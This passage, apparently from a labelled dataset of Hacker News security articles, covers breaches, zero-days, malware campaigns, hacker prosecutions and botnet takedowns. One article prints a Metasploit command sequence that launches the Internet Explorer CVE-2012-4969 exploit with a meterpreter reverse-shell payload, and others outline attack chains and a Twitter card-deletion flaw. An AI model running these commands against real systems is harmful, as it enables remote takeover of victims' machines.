Just last week, the world's biggest hotel chain Marriott confirmed a breach of its Starwood properties that potentially exposed personal and, in some cases, financial information from half a billion guests, making it the second largest data breaches in the history behind Yahoo 2016 hacking of nearly 3 billion users.

In September, Facebook also announced a breach of its network that allowed hackers to steal personal details for about 30 million users using a zero-day flaw in the platform's ""View As"" feature.

",Data_Breaches
Adobe releases another Emergency Security Patch for Flash Player,https://thehackernews.com/2014/02/adobe-releases-another-emergency.html,"Security Firm FireEye has uncovered yet another critical zero-day vulnerability in widely used Adobe Flash Software and Adobe has been forced to issue a second emergency patch update in less than a month.

All versions of Adobe Flash Player released before today's patch are vulnerable to the zero-day exploit and the patch addresses a critical vulnerability CVE-2014-0502, being used in a watering hole attack -dubbed ""Operation Greedywonk"", that allows attackers to remotely take control of infected systems.

The vulnerability affects the latest versions of Flash, is reported to be targeting the websites of three non-profit institutions, being redirected to an malicious server hosting the zero-day exploit.

""Visitors to the Peter G. Peterson Institute for International Economics (www.piie[.]com) were redirected to an exploit server hosting this Flash zero-day through a hidden iframe."" FireEye said.

Security updates tackle a number of flaws including:
CVE-2014-0498 stack overflow vulnerability, if exploited, can execute arbitrary code
CVE-2014-0499 memory leak vulnerability, if exploited, defeat memory address layout randomization
CVE-2014-0502 double free vulnerability, if exploited, could result in arbitrary code execution
Reports confirmed that exploit for CVE-2014-0502 exists in the wild, that allows an attacker to bypass 'Address Space Layout Randomization (ASLR)' protections on Windows XP, Windows 7 with Java version 1.6 or outdated office 2007 or 2010 to execute the malicious code.

Anatomy of the attack: Antivirus firm 'Symantec' explained:
""This attack technique is known as a watering hole attack. In this case the target visits a compromised website that contains an IFrame inserted by the attackers in order to redirect the target to another website (giftserv.hopto.org). This new site loads a malicious index.php file (Trojan.Malscript) which checks whether the victim is running a 32-bit or 64-bit system. Depending on the results, a malicious index.html file (also Trojan.Malscript) and additional components are also downloaded from either the 32-bit or 64-bit folders hosted on the attacker's server. The malicious index.html file then loads the cc.swf Adobe Flash file (Trojan.Swifi) containing the zero-day. Once exploited, a logo.gif image file is downloaded containing encrypted shellcode which downloads and executes the malicious server.exe (Backdoor.Jolob) payload.
A very successful watering hole attack in early 2013 targeted mobile app developers and infected the internal networks of Apple, Facebook, Microsoft and Twitter, among other companies.

Fortunately, only certain computers are vulnerable to those further exploits: all Windows XP machines, and Windows 7 machines that have Java 1.6 or Microsoft Office 2007 or 2010 installed. ""Users can mitigate the threat by upgrading from Windows XP and updating Java and Office,"" FireEye researchers said.

To Determine which version of Flash you are running, you can visit Adobe's website here. Users are recommended to update their Adobe Flash layer to address this critical vulnerability. You should download it from the Adobe Flash Player Download Centre.

",Vulnerability
"LulzSec hacker Jeremy Hammond pleads guilty to Stratfor attack, could face 10 years in prison",https://thehackernews.com/2013/05/lulzsec-hacker-jeremy-hammond-pleads.html,"A computer hacker linked to the group known as Anonymous and LulzSec pleaded guilty on Tuesday to breaking into Stratfor, a global intelligence company.

Hammond, 28, was arrested last March and charged with hacking into the computers of Stratfor. Jeremy Hammond and other members of AntiSec, stole confidential information, defaced websites and temporarily put some victims out of business. Authorities say their crimes affected more than 1 million people.

Hammond was charged under the controversial 1984 Computer Fraud and Abuse Act, the same law used to charge the late Aaron Swartz and other cyber-activists.

The plea agreement could carry a sentence of as much as 10 years in prison, as well as millions of dollars in restitution payments, though Hammond's official sentence won't be handed down until September.

Beyond Stratfor, Hammond took responsibility for eight other hacks, all of which involved either law enforcement, intelligence firms or defense contractor websites.

From June 2011 to February 2012, Hammond obtained unauthorized information from the Arizona Department of Public Safety, the FBI virtual academy, a marketing firm that builds websites for law enforcement called Brooks Jeffreys, Special Forces Gear, Vanguard Defense Industries, the Jefferson County sheriffs department, the Boston Police Patrolman's Institute and a Pennsylvania firm called Combined Systems that makes tear gas.

Before his arrest last year, Mr. Hammond had already served 24 months in prison for hacking into a political group's computer server and stealing credit card numbers in 2006.

",Cyber_Attack
Exploit Released for Internet Explorer zero-day attacks : CVE-2012-4969,https://thehackernews.com/2012/09/exploit-released-for-internet-explorer.html,"Microsoft has confirmed reports that a zero-day vulnerability in its Internet Explorer browser is being actively attacked in the wild. Four active exploits of a zero-day vulnerability in the browser exists. Microsoft will push out an out-of-cycle Windows patch to temporarily fix the critical Internet Explorer flaw.

Security researcher Eric Romang identified the exploit code on a server used by the ""Nitro"" hacking group, believed to have exploited the Java zero-day vulnerability reported last month. Security firm Rapid7 advises that Internet users try a different Web browser. The malware may be linked to an ongoing attack on companies that has been dubbed ""Nitro"", and was first discovered in October by Symantec.

The zero-day in IE 6-9 is a use-after-free memory corruption vulnerability, similar to a buffer overflow, that would enable an attacker to remotely execute code on a compromised machine. The original exploit payload dropped the PoisonIvy remote access Trojan (RAT) via a corrupted Flash movie file. The latest payload discovered dropped the PlugX RAT via the same corrupted Flash movie.

This type of attack is typically begun with a phishing email, or by tricking users into clicking links in social media. The security advisory notes that mainstream websites that have ads placed on the site via third-party ad servers could also be vulnerable if the ad servers are compromised. In other words, any site could be used to take advantage of the IE flaw.It's a serious flaw.

Even, The German government has started telling its citizens to switch to other browsers. Microsoft has reported that most users are not affected by the bug, and the number of attacks has been limited. In the company's update about the bug, they suggest either deactivating ActiveX controls or using their Enhanced Mitigation Experience Toolkit until a patch is released.

Metasploit also Release PoC for this .""This module exploits a vulnerability found in Microsoft Internet Explorer (MSIE). When rendering an HTML page, the CMshtmlEd object gets deleted in an unexpected manner, but the same memory is reused again later in the CMshtmlEd::Exec() function, leading to a use-after-free condition. Please note that this vulnerability has been exploited in the wild since Sep 14 2012, and there is currently no official patch for it."" Get Exploit Here,

Usage :
use exploit/windows/browser/ie_execcommand_uaf
set SRVHOST 192.168.178.33
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.33
exploit

sysinfo
getuid

",Vulnerability
Hacker is Selling 272 Million Email Passwords for Just $1,https://thehackernews.com/2016/05/hacked-email-accounts.html,"A massive database of 272 million emails and passwords for popular email services, including Gmail, Microsoft, and Yahoo, are being offered for sale on the Dark Web for less than $1, media reports.

An anonymous Russian hacker, who goes by the moniker ""the Collector,"" was first spotted by cybersecurity firm Hold Security advertising 1.17 Billion user records for email accounts on a dark web forum.

The stolen credentials apparently came from some of the world's biggest email providers, including Gmail, Yahoo, Microsoft and Russia's Mail.ru.

When security analysts at Hold Security reached out to the hacker and began negotiating for the dataset to verify the authenticity of those records, the hacker only asked for 50 Rubles (less than a buck) in return of the complete dump.

However, it seems that there is actually nothing to worry about.

Hold Security CEO Alex Holden said that a large number of those 1.17 Billion accounts credentials turned out to be duplicate and that only 272 Million records were unique.

According to the report, the mostly compromised credentials, 57 Million, belong to Russia's leading email provider Mail.ru, followed by 40 Million Yahoo accounts, Microsoft 33 Million Hotmail accounts and 24 million Gmail accounts.

Of those 272 Million records analyzed by Hold Security, around 42.5 Million were credentials that the company has not seen traded on the Dark Web before.

In fact, the initial checks by Mail.ru found no active combinations of user names and passwords that match their existing email accounts, a Mail.ru spokesperson told Reuters.

Just last week, PwnedList, a website with the largest database of stolen credentials that allows users to check if a data breach had compromised their emails account, has been hit by hackers.

More than 866 million account credentials collected and indexed from 101,000 data breaches were leaked online due to a vulnerability on PwnedList's website.

",Data_Breaches
Hackers Targeting professionals With 'more_eggs' Malware via LinkedIn Job Offers,https://thehackernews.com/2021/04/hackers-targeting-professionals-with.html,"A new spear-phishing campaign is targeting professionals on LinkedIn with weaponized job offers in an attempt to infect targets with a sophisticated backdoor trojan called ""more_eggs.""
To increase the odds of success, the phishing lures take advantage of malicious ZIP archive files that have the same name as that of the victims' job titles taken from their LinkedIn profiles.
""For example, if the LinkedIn member's job is listed as Senior Account Executive—International Freight the malicious zip file would be titled Senior Account Executive—International Freight position (note the 'position' added to the end),"" cybersecurity firm eSentire's Threat Response Unit (TRU) said in an analysis. ""Upon opening the fake job offer, the victim unwittingly initiates the stealthy installation of the fileless backdoor, more_eggs.""
Campaigns delivering more_eggs using the same modus operandi have been spotted at least since 2018, with the backdoor attributed to a malware-as-a-service (MaaS) provider called Golden Chickens. The adversaries behind this new wave of attacks remain unknown as yet, although more_eggs has been put to use by various cybercrime groups such as Cobalt, FIN6, and EvilNum in the past.
Once installed, more_eggs maintains a stealthy profile by hijacking legitimate Windows processes while presenting the decoy ""employment application"" document to distract targets from ongoing background tasks triggered by the malware. Furthermore, it can act as a conduit to retrieve additional payloads from an attacker-controlled server, such as banking trojans, ransomware, credential stealers, and even use the backdoor as a foothold in the victim's network so as to exfiltrate data.
If anything, the latest development is yet another indication of how threat actors are constantly tweaking their attacks with personalized lures in an attempt to trick unsuspecting users into downloading malware.
""Since the COVID pandemic, unemployment rates have risen dramatically. It is a perfect time to take advantage of job seekers who are desperate to find employment,"" the researchers said. ""Thus, a customized job lure is even more enticing during these troubled times.""

",Malware
Xiaomi Can Silently Install Any App On Your Android Phone Using A Backdoor,https://thehackernews.com/2016/09/xiaomi-android-backdoor.html,"Note — Don't miss an important update at the bottom of this article, which includes an official statement from Xiaomi.

Do you own an Android Smartphone from Xiaomi, HTC, Samsung, or OnePlus?

If yes, then you must be aware that almost all smartphone manufacturers provide custom ROMs like CyanogenMod, Paranoid Android, MIUI and others with some pre-loaded themes and applications to increase the device's performance.

But do you have any idea about the pre-installed apps and services your manufacturer has installed on your device?, What are their purposes? And, Do they pose any threat to your security or privacy?

With the same curiosity to find answers to these questions, a Computer Science student and security enthusiast from Netherlands who own a Xiaomi Mi4 smartphone started an investigation to know the purpose of a mysterious pre-installed app, dubbed AnalyticsCore.apk, that runs 24x7 in the background and reappeared even if you delete it.

Xiaomi is one of the world's largest smartphone manufacturers, which has previously been criticized for spreading malware, shipping handsets with pre-loaded spyware/adware and forked version of Android OS, and secretly stealing users' data from the device without their permission.

Xiaomi Can Silently Install Any App On your Device

After asking about the purpose of AnalyticsCore app on company's support forum and getting no response, Thijs Broenink reverse engineered the code and found that the app checks for a new update from the company's official server every 24 hours.

While making these requests, the app sends device identification information with it, including phone's IMEI, Model, MAC address, Nonce, Package name as well as signature.

If there is an updated app available on the server with the filename ""Analytics.apk,"" it will automatically get downloaded and installed in the background without user interaction.
""I couldn't find any proof inside the Analytics app itself, so I am guessing that a higher privileged Xiaomi app runs the installation in the background,"" Broenink says in his blog post.
Now the question is, Does your phone verify the correctness of the APK, and does it make sure that it is actually an Analytics app?

Broenink found that there is no validation at all to check which APK is getting installed to user's phone, which means there is a way for hackers to exploit this loophole.

This also means Xiaomi can remotely and silently install any application on your device just by renaming it to ""Analytics.apk"" and hosting it on the server.
""So it looks like Xiaomi can replace any (signed?) package they want silently on your device within 24 hours. And I'm not sure when this App Installer gets called, but I wonder if it's possible to place your own Analytics.apk inside the correct dir, and wait for it to get installed,"" Broenink said.

Hackers Can Also Exploit This Backdoor

Since the researcher didn't find the actual purpose of the AnalyticsCore app, neither on Googling nor on the company's website, it is hard to say why Xiaomi has kept this mysterious ""backdoor"" on its millions of devices.

As I previously said: There is no such backdoor that only its creator can access.

So, what if hackers or any intelligence agency figure out how to exploit this backdoor to silently push malware onto millions of Xiaomi devices within just 24 hours?

Ironically, the device connects and receive updates over HTTP connection, exposing the whole process to Man-in-the-Middle attacks.
""This sounds like a vulnerability to me anyhow, since they have your IMEI and Device Model, they can install any APK for your device specifically,"" Broenink said.
Even on the Xiaomi discussion forum, multiple users have shown their concerns about the existence of this mysterious APK and its purpose.
""Don't know what purpose does it serve. Even after deleting the file it reappears after some time,"" one user said.
Another said, ""if I go to battery usage app, this app is always at the top. It is eating away at resources I believe.""
How to Block Secret Installation? As a temporary workaround, Xiaomi users can block all connections to Xiaomi related domains using a firewall app.

No one from Xiaomi team has yet commented on its forum about the question raised by Broenink. We'll update the story as soon as we heard from the company.

Meanwhile, if you are a Xiaomi user and has experienced anything fishy on your device, hit the comments below and let us know.

Official Statement From Xiaomi

A Xiaomi spokesperson has reached out The Hacker News with an official statement for the claims made by Thijs Broenink about a backdoor that let hackers, as well as Xiaomi itself, to secretly install any application on the millions of affected devices, saying:
""AnalyticsCore is a built-in MIUI system component that is used by MIUI components for the purpose of data analysis to help improve user experience, such as MIUI Error Analytics.""
Although the company did not deny or comment anything about its ability to automatically install any app onto your device in the background without your interaction, the spokesperson has clarified that hackers would not be able to exploit this ""self-upgrade"" feature.
""As a security measure, MIUI checks the signature of the Analytics.apk app during installation or upgrade to ensure that only the APK with the official and correct signature will be installed,"" the representative added.
""Any APK without an official signature will fail to install. As AnalyticsCore is key to ensuring better user experience, it supports a self-upgrade feature. Starting from MIUI V7.3 released in April/May, HTTPS was enabled to further secure data transfer, to prevent any man-in-the-middle attacks.""
We have further reached out Xiaomi for a comment on its ability to auto-install apps without user's interactions.

",Malware
Feds Shut Down 'Longest-Running' Andromeda Botnet,https://thehackernews.com/2017/12/andromeda-botnet.html,"In a coordinated International cyber operation, Europol with the help of international law enforcement agencies has taken down what it called ""one of the longest-running malware families in existence"" known as Andromeda.

Andromeda, also known as Win32/Gamarue, is an infamous HTTP-based modular botnet that has been around for several years now, and infecting computers with it's malicious intentions ever since.

The primary goal of Andromeda bot is to distribute other malware families for mass global malware attacks.

The botnet has been associated with at least 80 malware families, and in the last six months, it was detected (or blocked) on an average of more than 1 million machines per month.

Last year, law enforcement agencies took down the criminal infrastructure of the infamous Avalanche botnet in a similar massive international cyber operation. Avalanche botnet was used as a delivery platform to spread other malware families, including Andromeda.

While investigating into the Avalanche botnet, information obtained by the German authorities was shared with the Federal Bureau of Investigation (FBI) via Europol, which eventually helped the international agencies to tear down Andromeda just last week.
In a joint operation, the international partners took down servers and more than 1,500 web domains which were being used to distribute and control Andromeda malware.
""This is another example of international law enforcement working together with industry partners to tackle the most significant cybercriminals and the dedicated infrastructure they use to distribute malware on a global scale,"" Steven Wilson, the Head of Europol's European Cybercrime Centre (EC3), said.
""The clear message is that public-private partnerships can impact these criminals and make the internet safer for all of us.""

Using sinkholing the now-seized domains, tactic researchers use to redirect traffic from the infected machines to a self-controlled system; authorities found over 2 million unique IP addresses from at least 223 countries associated with Andromeda victims with just 48 hours.

Further investigation also helped law enforcement authorities arrest a suspect in Belarus, who was allegedly involved in the Andromeda cybercrime gang.

Just last week, Europol seized more than 20,000 web domains for illegally selling counterfeit products, including luxury products, sportswear, electronics, pharmaceuticals and online piracy on e-commerce platforms and social networks in its fight against the online trade of counterfeit goods.

",Malware
Researchers Exploited A Bug in Emotet to Stop the Spread of Malware,https://thehackernews.com/2020/08/emotet-botnet-malware.html,"Emotet, a notorious email-based malware behind several botnet-driven spam campaigns and ransomware attacks, contained a flaw that allowed cybersecurity researchers to activate a kill-switch and prevent the malware from infecting systems for six months.

""Most of the vulnerabilities and exploits that you read about are good news for attackers and bad news for the rest of us,"" Binary Defense's James Quinn said.

""However, it's important to keep in mind that malware is software that can also have flaws. Just as attackers can exploit flaws in legitimate software to cause harm, defenders can also reverse-engineer malware to discover its vulnerabilities and then exploit those to defeat the malware.""

The kill-switch was alive between February 6, 2020, to August 6, 2020, for 182 days, before the malware authors patched their malware and closed the vulnerability.

Since its first identification in 2014, Emotet has evolved from its initial roots as a banking malware to a ""Swiss Army knife"" that can serve as a downloader, information stealer, and spambot depending on how it's deployed.

Early this February, it developed a new feature to leverage already infected devices to identify and compromise fresh victims connected to nearby Wi-Fi networks.

Along with this feature update came a new persistence mechanism, according to Binary Defense, which ""generated a filename to save the malware on each victim system, using a randomly chosen exe or dll system filename from the system32 directory.""

The change in itself was straight-forward: it encrypted the filename with an XOR key that was then saved to the Windows registry value set to the victim's volume serial number.

The first version of the kill-switch developed by Binary Defense, which went live about 37 hours after Emotet unveiled the above changes, employed a PowerShell script that would generate the registry key value for each victim and set the data for each value to null.


This way, when the malware checked the registry for the filename, it would end up loading an empty exe "".exe,"" thus stopping the malware from running on the target system.

""When the malware attempts to execute '.exe,' it would be unable to run because '.' translates to the current working directory for many operating systems,"" Quinn noted.

EmoCrash to Thwart Emotet

That's not all. In an improvised version of the kill-switch, called EmoCrash, Quinn said he was able to exploit a buffer overflow vulnerability discovered in the malware's installation routine to crash Emotet during the installation process, thereby effectively preventing users from getting infected.

So instead of resetting the registry value, the script works by identifying the system architecture to generate the install registry value for the user's volume serial number, using it to save a buffer of 832 bytes.

""This tiny data buffer was all that was needed to crash Emotet, and could even be deployed prior to infection (like a vaccine) or mid-infection (like a killswitch),"" Quinn said. ""Two crash logs would appear with event ID 1000 and 1001, which could be used to identify endpoints with disabled and dead Emotet binaries after deployment of the killswitch (and a computer restart).""

To keep it a secret from threat actors and patch their code, Binary Defense said it coordinated with Computer Emergency Response Teams (CERTs) and Team Cymru to distribute the EmoCrash exploit script to susceptible organizations.

Although Emotet retired its registry key-based installation method in mid-April, it wasn't until August 6 when an update to the malware loader entirely removed the vulnerable registry value code.

""On July 17, 2020, Emotet finally returned to spamming after their several months-long development period,"" Quinn said. ""With EmoCrash still active at the start of their full return, up until August 6, EmoCrash was able to provide total protection from Emotet.""

""Not bad for a 832-byte buffer!,"" he added.

",Cyber_Attack
"16-Year-Old Teen Hacked Apple Servers, Stole 90GB of Secure Files",https://thehackernews.com/2018/08/apple-hack-servers.html,"Well, there's something quite embarrassing for Apple fans.

Though Apple servers are widely believed to be unhackable, a 16-year-old high school student proved that nothing is impossible.

The teenager from Melbourne, Australia, managed to break into Apple servers and downloaded some 90GB of secure files, including extremely secure authorized keys used to grant login access to users, as well as access multiple user accounts.

The teen told the authorities that he hacked Apple because he was a huge fan of the company and ""dreamed of"" working for the technology giant.

What's more embarrassing? The teen, whose name is being withheld as he's still a minor, hacked the company's servers not once, but numerous times over the course of more than a year, and Apple's system administrators failed to stop their users' data from being stolen.

When Apple finally noticed the intrusion, the company contacted the FBI, which took the help of the Australian Federal Police (AFP) after detecting his presence on their servers and blocking him.

Apple Hack: The ""Hacky Hack Hack"" Folder

The AFP caught the teenager last year after a raid on his residence and seized two Apple laptops, a mobile phone, and a hard drive.
""Two Apple laptops were seized, and the serial numbers matched the serial numbers of the devices which accessed the internal systems,"" a prosecutor was quoted as saying by Australian media The Age. ""A mobile phone and hard drive were also seized, and the IP address matched the intrusions into the organization.""
After analyzing the seized equipment, authorities found the stolen data in a folder called ""hacky hack hack.""

Besides this, authorities also discovered a series of hacking tools and files that allowed the 16-year-old boy to break into Apple's mainframe repeatedly.

According to the authorities, the teenager also used Whatsapp to share his offending with others.

At Apple's request, authorities did not disclose details regarding the methods the teenager used to hack into its secure servers, though investigators said his ways ""worked flawlessly"" until the company noticed.

The FBI and the AFP kept everything secret until now, as the teen's defense lawyer said the boy had become so well known in the international hacking community that even mentioning the case in detail could expose him to risk.

In a statement given by Apple to the press today, the company assured its customers that no personal data was compromised in the hack, though it is still unclear what kind of data the teen stole.

The teen has pleaded guilty to a Children's Court, but the magistrate has postponed his sentencing till next month (20 September).
",Cyber_Attack
Skype leaves Sensitive User Data Unencrypted Locally On Computers,https://thehackernews.com/2014/04/skype-leaves-sensitive-user-data.html,"An application should always encrypt users' sensitive data, either it is local or stored on company servers, but still many popular services failed to provide fully secured solutions to their users.

Cristian Dinu (DrOptix) and Dragoş Gaftoneanu, Romanian programmers at Hackyard Security Group, a private community dedicated to IT security research approaches 'The Hacker News' editorial and claimed that the Microsoft owned most popular free voice calling service Skype leaves its local database unencrypted, that puts users' sensitive information at risk.

All Skype-to-Skype voice, video, file transfers and instant messages are encrypted. Though, Skype's local database is also supposed to be encrypted because it is sensitive enough, but Dragoş found that Skype leaves users' full name, birthday, phone numbers, country, city and even full chat conversations unencrypted on the systems' hard drive in a known location without any encryption or password.

Skype is a free online service that allows users to communicate with peers by voice using a microphone, video by using a webcam, and instant messaging over the Internet. Due to its worldwide popularity it was acquired by Microsoft Corporation on May 2011 for US$8.5 billion.

UNENCRYPTED SKYPE ACCOUNT LOCAL DATABASE
Dragoş claimed that private information of skype users is stored in such a way that anyone with access to the device can see the private chats, usernames, phone number etc and use them for any purpose.
Unencrypted data is obviously a loophole for cyber criminals and the Skype's unencrypted database also displays users' location information such as country and city, which could be considered a jackpot for unsavory hackers.

While chatting with his friend 'Cristian Dinu' on Skype, Dragoş noticed a folder in his Linux home directory that contains a database file, called main.db, created by the Skype software.
In Linux: /home/user/.Skype/skypename/
In Mac OS X: /Users/user/Library/Application Support/Skype/skypeuser
In Windows : C:\Users\Username\AppData\Roaming\Skype\skype.id
Using SQLite utility, Dragoş connected to the unencrypted Skype database and found Skype user account related information in plaintext under different tables.

The Account table contains the basic information of the user such as skypename, fullname, birthday, country, city, mobile phone numbers, emails from Accounts, etc.

Another Table labeled 'CallMembers' stores the information about when and whom user called. The 'Contacts' table stores the user's friend list along with skypename, fullname, and some interesting columns, such as birthday, country, city and phone_mobile.

The most surprising table came out to be the 'Messages' Table that stores the users' chat conversations in complete plain text format. Even some tables regarding video calls and SMSes sent also reveals users' personal data.

A flaw in the popular voice calling and messaging service may have left its Millions of users vulnerable to the attackers by storing the data in such a way that anyone can read it. The users' details are kept inside one of Skype's database files buried within the file system, but anyone could see it if they had access to users' device and knew where to look.

It is quite easy to steal the history files and with the help of some special software one can view all the history without your Skype password.

The researcher tested this on the Linux based operating system but later it was found that the application makes the same files on every operating system.

Dragos advised users to remove the content of main.db every time they close Skype application and also provided a Linux based script to remove main.db automatically, which users just need to make it run on every startup. Users are advised to store their Skype profile files on the encrypted volume or in the encrypted container.

This is an example of poor software development practices. Microsoft should take proactive steps to ensure the privacy of users data.

",Vulnerability
Twitter Vulnerability Allows Hacker to Delete Credit Cards from Any Twitter Account,https://thehackernews.com/2014/09/twitter-vulnerability-allows-hacker-to_16.html,"At the beginning of this month, just like other social networks, Twitter also started paying individuals for any flaws they uncover on its service with a fee of $140 or more offered per flaw under its new Bug Bounty program, and here comes the claimant.

An Egyptian Security Researcher, Ahmed Mohamed Hassan Aboul-Ela, who have been rewarded by many reputed and popular technology giants including Google, Microsoft and Apple, have discovered a critical vulnerability in Twitter's advertising service that allowed him deleting credit cards from any Twitter account.

FIRST VULNERABILITY
Initially, Aboul-Ela found two different vulnerabilities in ads.twitter.com, but both the flaws was having the ""same effect and impact."" First flaw exists in the Delete function of credit cards in payments method page, https://ads.twitter.com/accounts/[account id]/payment_methods

By choosing the Delete this card function, an ajax POST request is sent to the server. The post parameters sent in request body are:
Account: the twitter account id
ID: the credit card id and it's numerical without any alphabetic characters
""All I had to do is to change those two parameters to my other twitter account id and credit card id , then reply again the request and I suddenly found that credit card have been delete from the other twitter account without any required interaction,"" Aboul-Ela wrote.
The page response was ""403 forbbiden"" but in actual, the credit card was deleted from the account.

SECOND VULNERABILITY
Aboul-Ela found another similar flaw in ads.twitter.com, but according to him, the impact of the this vulnerability was higher than the previous one.

When he tried to add an invalid credit card to his twitter account, it displayed an Error message ""We were unable to approve the card you entered"" and serve ""Dismiss"" button. Clicking on the button, the credit card was disappeared from his account.
""I thought it have the same effect of deleting, so I tried to add invalid credit card again and intercepted the request,"" he said.
Unlike first vulnerability, the account parameter doesn't exists, only credit card Id is used. He modified the credit card Id in the URL and body to his credit card Id from other twitter account and then replied the request.

Guess what ? The credit card got deleted from the other twitter account. Aboul-Ela has also provided the Video demonstration as a Proof-of-concept for the vulnerability he discovered.
IMPACT OF VULNERABILITY
The Vulnerability could impact Twitter financially hard because it could be exploited easily by writing a simple python code or using a simple for loop on 6 numbers. Using it, a bad actor could delete all credit cards from all twitter accounts, resulting in ""halting all the twitter ads campaigns and incur big financial loss for Twitter.""
""The impact of the vulnerability was very critical and high because all what's needed to delete credit card is to have the credit card identifier which consists only of 6 numbers such as ""220152,″ said Aboul-Ela.

",Vulnerability
TrickBot Linux Variants Active in the Wild Despite Recent Takedown,https://thehackernews.com/2020/10/trickbot-linux-variants-active-in-wild.html,"Efforts to disrupt TrickBot may have shut down most of its critical infrastructure, but the operators behind the notorious malware aren't sitting idle.
According to new findings shared by cybersecurity firm Netscout, TrickBot's authors have moved portions of their code to Linux in an attempt to widen the scope of victims that could be targeted.
TrickBot, a financial Trojan first detected in 2016, has been traditionally a Windows-based crimeware solution, employing different modules to perform a wide range of malicious activities on target networks, including credential theft and perpetrate ransomware attacks.
But over the past few weeks, twin efforts led by the US Cyber Command and Microsoft have helped to eliminate 94% of TrickBot's command-and-control (C2) servers that were in use and the new infrastructure the criminals operating TrickBot attempted to bring online to replace the previously disabled servers.
Despite the steps taken to impede TrickBot, Microsoft cautioned that the threat actors behind the botnet would likely make efforts to revive their operations.
TrickBot's Anchor Module
At the end of 2019, a new TrickBot backdoor framework called Anchor was discovered using the DNS protocol to communicate with C2 servers stealthily.
The module ""allows the actors — potential TrickBot customers — to leverage this framework against higher-profile victims, said SentinelOne, adding the ""ability to seamlessly integrate the APT into a monetization business model is evidence of a quantum shift.""
Indeed, IBM X-Force spotted new cyberattacks earlier this April revealing collaboration between FIN6 and TrickBot groups to deploy the Anchor framework against organizations for financial profit.
The variant, dubbed ""Anchor_DNS,"" enables the infected client to utilize DNS tunneling to establish communications with the C2 server, which in turn transmits data with resolved IPs as a response, NTT researchers said in a 2019 report.
But a new sample uncovered by Stage 2 Security researcher Waylon Grange in July found that Anchor_DNS has been ported to a new Linux backdoor version called ""Anchor_Linux.""
""Often delivered as part of a zip, this malware is a lightweight Linux backdoor,"" Grange said. ""Upon execution it installs itself as a cron job, determines the public IP [address] for the host and then begins to beacon via DNS queries to its C2 server.""
How the C2 Communication Works Using Anchor
Netscout's latest research decodes this flow of communication between the bot and the C2 server. During the initial setup phase, the client sends ""c2_command 0"" to the server along with information about the compromised system and the bot ID, which then responds with the message ""signal /1/"" back to the bot.
As an acknowledgment, the bot sends the same message back to the C2, following which the server remotely issues the command to be executed on the client. In the last step, the bot sends back the result of the execution to the C2 server.
""Every part of communication made to the C2 follows a sequence of 3 different DNS queries,"" Netscout security researcher Suweera De Souza said.
The result of the third query is a list of IP addresses that are subsequently parsed by the client to build the executable payload.
The last piece of data sent by the C2 server corresponds to a range of commands (numbered 0-14 in Windows, and 0-4, 10-12, and 100 in Linux) for the bot to execute the payload via cmd.exe or by injecting it into multiple running processes such as Windows File Explorer or Notepad.
""The complexity of Anchor's C2 communication and the payloads that the bot can execute reflect not only a portion of the Trickbot actors' considerable capabilities, but also their ability to constantly innovate, as evidenced by their move to Linux,"" De Souza said.

",Cyber_Attack
Chinese Hackers discovered second Android master key vulnerability,https://thehackernews.com/2013/07/chinese-hackers-discovered-second.html,"Android Security Squad, the China-based group that uncovered a second Android master key vulnerability that might be abused to modify smartphone apps without breaking their digital signatures.

The whole point of digitally signing a document or file is to prove the file hasn't been modified. The process uses a form of public-key cryptography. In Chinese version of hacking attack, malicious code can be added into the file headers, but the method is limited because targeted files need to be smaller than 64K in size.


APK files are packed using a version of the widespread ZIP archiving algorithm. Most ZIP implementations won't permit two same-named files in one archive, but the algorithm itself doesn't forbid that possibility. So basically, two versions of the classes.dex file are placed inside of the package, the original and a hacked alternative.

When checking an app's digital signature, the Android OS looks at the first matching file, but when actually executing and launching the file, it grabs the last one. To Trojanize an app, then, all you need to do is shoehorn your malicious code into it using a name that already exists within the app.

The flaw is very similar to the first master key vulnerability recently announced by researchers from mobile security firm Bluebox Security. According to BlueBox, 99% of Android devices are vulnerable to this attack. Google has already patched the flaw and posted it to the Android Open Source Project (AOSP).

You can use ReKey, a free mobile app that's designed to patch the Android master key vulnerability that's present in an estimated 900 million devices that run Android and that could be exploited by attackers to take full control of a device.

Always get your apps from legitimate sources, always check to make sure the developer name is valid, and configure your phone so it doesn't permit installing apps from unknown sources.

",Vulnerability
"22-Year-Old Hacker Pleads Guilty to 2014 Yahoo Hack, Admits Helping Russian Intelligence",https://thehackernews.com/2017/11/yahoo-email-hacker.html,"Karim Baratov, a 22-year-old Kazakhstan-born Canadian citizen, has pleaded guilty to hacking charges over his involvement in massive 2014 Yahoo data breach that affected all three billion yahoo accounts.

In March, the US Justice Department announced charges against two Russian intelligence officers (Dmitry Dokuchaev and Igor Sushchin) from Russia's Federal Security Service (FSB) and two hackers (Alexsey Belan and Karim Baratov) for breaking into yahoo servers in 2014.

While Karim Baratov (Kay, a.k.a Karim Taloverov, a.k.a Karim Akehmet Tokbergenov) was arrested in Toronto at his Ancaster home by the Toronto Police Department in March this year, Alexsey Belan and both FSB officers currently reside in Russia, unlikely to be extradited.

In the federal district court in San Francisco on Tuesday, Baratov admitted to helping the Russian spies and pleaded guilty to a total of nine counts which includes:

One count of conspiring to violate the Computer Fraud and Abuse Act by stealing information from protected computers and causing damage to protected computers.
Eight counts of aggravated identity theft.

Prosecutors believe that FSB officers directed the Yahoo hack and contracted Baratov when their targets—which included journalists, government officials, and technology company employees—used email accounts outside of Yahoo's system.
""Baratov's role in the charged conspiracy was to hack webmail accounts of individuals of interest to the FSB and send those accounts' passwords to Dokuchaev in exchange for money,"" his plea agreement reads.
However, according to Baratov's lawyers, at the time of the crime, Baratov had no idea he was working with Russian FSB agents.

Baratov gained unauthorized access to at least 80 non-Yahoo email accounts, including at least 50 Google accounts by obtaining their credentials through ""spear phishing"" attacks.

Baratov's sentencing hearing will be held on 20th February next year in federal district court in San Francisco, where he could face 70 to 87 months in jail for the first charge and 24 months for the identity theft charges.
""The illegal hacking of private communications is a global problem that transcends political boundaries. Cybercrime is not only a grave threat to personal privacy and security, but causes great financial harm to individuals who are hacked and costs the world economy hundreds of billions of dollars every year,"" US Attorney Brian Stretch said.
""These threats are even more insidious when cybercriminals such as Baratov are employed by foreign government agencies acting outside the rule of law.""
Besides any prison sentence, Baratov has also agreed to pay compensation to the Yahoo victims and a fine up to $2,250,000 (at $250,000 per count).

Baratov's arrest is the only one in this investigation. The three other men, including two FSB officers and one criminal hacker, currently reside in Russia, with whom the United States has no extradition treaty.

",Cyber_Attack
